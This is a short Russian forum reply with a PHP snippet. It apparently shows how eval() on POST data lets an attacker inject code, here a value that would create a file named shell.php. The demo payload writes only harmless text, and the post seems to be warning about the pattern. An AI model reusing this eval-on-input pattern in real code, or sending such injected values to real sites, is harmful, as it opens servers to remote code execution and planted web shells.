Код:
$_POST['id1'] = "\$file = fopen('shell.php',w);
************fwrite(\$file,'Марфа Васильевна я');
************fclose(\$file);";

eval('$POST["pTovar"] = $_POST["id'.$i.'"];');
ну например таким образом...
и кстати, а у вас выходит с тем вариантом то, что вы задумали? всмысле работает так как надо?